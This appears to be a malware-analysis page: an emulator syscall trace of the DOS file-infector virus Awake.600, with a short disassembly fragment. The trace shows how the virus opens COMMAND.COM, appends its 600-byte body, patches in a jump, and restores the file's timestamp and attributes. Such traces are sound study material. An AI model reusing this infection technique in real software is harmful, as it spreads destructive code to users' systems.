Sample viewer

vx.netlux.org/Virus.DOS.Nuke.Awake.600.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:54:44.00571074Z 250 PC: 12a7b | UNKNOWN!
2018-12-17T22:54:44.007920093Z 47 PC: 12a89 | Get disk transfer address
2018-12-17T22:54:44.009441824Z 26 PC: 12a9b | Set disk transfer address
2018-12-17T22:54:44.010964611Z 25 PC: 12aaa | Get default drive
2018-12-17T22:54:44.012461325Z 14 PC: 12ab4 | Set default drive (Drive = 'C')
2018-12-17T22:54:44.014148685Z 78 PC: 12ac1 | Find first file
2018-12-17T22:54:44.02017554Z 67 PC: 12aee | Get or set file attributes
2018-12-17T22:54:44.025771535Z 67 PC: 12afb | Get or set file attributes
2018-12-17T22:54:44.502102064Z 61 PC: 12b03 | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:54:44.508351469Z 87 PC: 12b0a | Get or set file date and time
2018-12-17T22:54:44.509703328Z 44 PC: 12b18 | Get time 0x12b18: or dl, dl
0x12b1a: je 0x12b14
0x12b1c: mov byte ptr [bp + 0x252], dl
0x12b20: mov ah, 0x3f
0x12b22: lea dx, word ptr [bp + 0x162]
0x12b26: mov cx, 3
0x12b29: int 0x21
0x12b2b: mov ax, 0x4202
0x12b2e: xor cx, cx
0x12b30: xor dx, dx
0x12b32: int 0x21
0x12b34: sub ax, 3
0x12b37: mov word ptr cs:[0xfb2d], ax
0x12b3b: mov byte ptr cs:[0xfb2c], 0xe9
0x12b41: lea si, word ptr [bp - 3]
0x12b44: nop
0x12b45: mov di, 0xfcbc
0x12b48: mov cx, 0x258
0x12b4b: cld
0x12b4c: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T22:54:44.511906321Z 63 PC: 12b2b | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:54:44.513720531Z 66 PC: 12b34 | Move file pointer
2018-12-17T22:54:44.514872321Z 64 PC: 12b5e | Write file or device (Write 600 bytes on handle 5)
2018-12-17T22:54:44.525644742Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:54:44.527442993Z 64 PC: 12b71 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:54:44.530728861Z 87 PC: 12b86 | Get or set file date and time
2018-12-17T22:54:44.538575882Z 62 PC: 12b8a | Close file
2018-12-17T22:54:44.545250312Z 67 PC: 12b97 | Get or set file attributes
2018-12-17T22:54:44.558278156Z 26 PC: 12ba6 | Set disk transfer address
2018-12-17T22:54:44.562174044Z 14 PC: 12bb0 | Set default drive (Drive = 'A')